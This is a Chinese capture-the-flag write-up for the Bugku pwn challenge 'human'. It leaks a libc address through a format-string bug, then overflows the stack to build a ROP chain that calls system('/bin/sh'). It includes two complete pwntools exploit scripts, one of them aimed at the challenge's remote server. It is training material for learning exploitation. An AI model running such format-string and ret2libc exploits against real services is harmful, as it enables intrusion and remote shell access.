下载地址
url
checksec
[*] '/mnt/hgfs/ubuntu_share/pwn/bugku/human'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
IDA分析

- 很多同学会发现,自己的IDA上全是字符串的地址,不是汉字
- 像下面这样

- 这时可以双击任意一个地址,我用的是byte_400978
- 然后将一整块地址内容全选,单击右键
- 就会有相应的汉字,点击就可以进行转换

分析程序
- 发现两次read,第一次读8个字节,第二次读入0x40个字节(第二次存在栈溢出)
- printf存在字符串格式化漏洞
- 断点断在printf处,gdb调试

- 在红框处发现了__libc_start_main的地址
- 先将其泄露出来,然后查找libc版本
- 在栈上是第6个位置,再加上6个寄存器,也就是printf函数的第12个参数,格式化字符串中应该填11
- 之后根据libc版本查找system函数和/bin/sh字符串地址进行利用
填写的padding中还必须包括鸽子和真香两个词,不然程序直接exit(0)
- 百度告诉我一个字占两个字节,四个字也就是8个字节,但在实际的debug中,却占了12个字节

确定libc版本
- 使用泄露出地址的最后12位,使用该网站
- 进行查询偏移

编写Exp
from pwn import *
from LibcSearcher import *
context.log_level = "DEBUG"
sh = process("human")
#sh = remote("114.116.54.89", 10005)
payload = "%11$p"
sh.recv()
sh.sendline(payload)
#sh.recvline()
#print sh.recv()
libc_addr = sh.recvline()
#print "asdasd:" + libc_addr
libc_addr = int(libc_addr[2:14],16)
print "libc_main_start_addr is:" + hex(libc_addr)
#libc = LibcSearcher("__libc_start_main", libc_addr)
#libc_base = libc_addr - libc.dump("__libc_start_main")
libc_base = libc_addr - 0x020830
system_addr = libc_base + 0x045390
binsh_addr = libc_base + 0x18cd57
gezi = "鸽子"
zhenxiang = "真香"
pop_addr = 0x0000000000400933
payload = gezi + zhenxiang + 'a' * 28 + p64(pop_addr) + p64(binsh_addr) + p64(system_addr)
sh.recvuntil("人类还有什么本质?")
sh.sendline(payload)
sh.interactive()
注意
- 服务器端IO和本地IO之间可能有区别
- 我在本地打得通,但服务器就打不通了
- 原因是服务器比本地多发送了一个回车字符
- 多写一个recv(1)就好了
from pwn import *
from LibcSearcher import *
context.log_level = "DEBUG"
#sh = process("human")
sh = remote("114.116.54.89", 10005)
payload = "%11$p"
sh.recv()
sh.sendline(payload)
sh.recv(1)
#print sh.recv()
libc_addr = sh.recvline()
#print "asdasd:" + libc_addr
libc_addr = int(libc_addr[2:14],16)
print "libc_main_start_addr is:" + hex(libc_addr)
#libc = LibcSearcher("__libc_start_main", libc_addr)
#libc_base = libc_addr - libc.dump("__libc_start_main")
libc_base = libc_addr - 0x020830
system_addr = libc_base + 0x045390
binsh_addr = libc_base + 0x18cd57
gezi = "鸽子"
zhenxiang = "真香"
pop_addr = 0x0000000000400933
payload = gezi + zhenxiang + 'a' * 28 + p64(pop_addr) + p64(binsh_addr) + p64(system_addr)
sh.recvuntil("人类还有什么本质?")
sh.sendline(payload)
sh.interactive()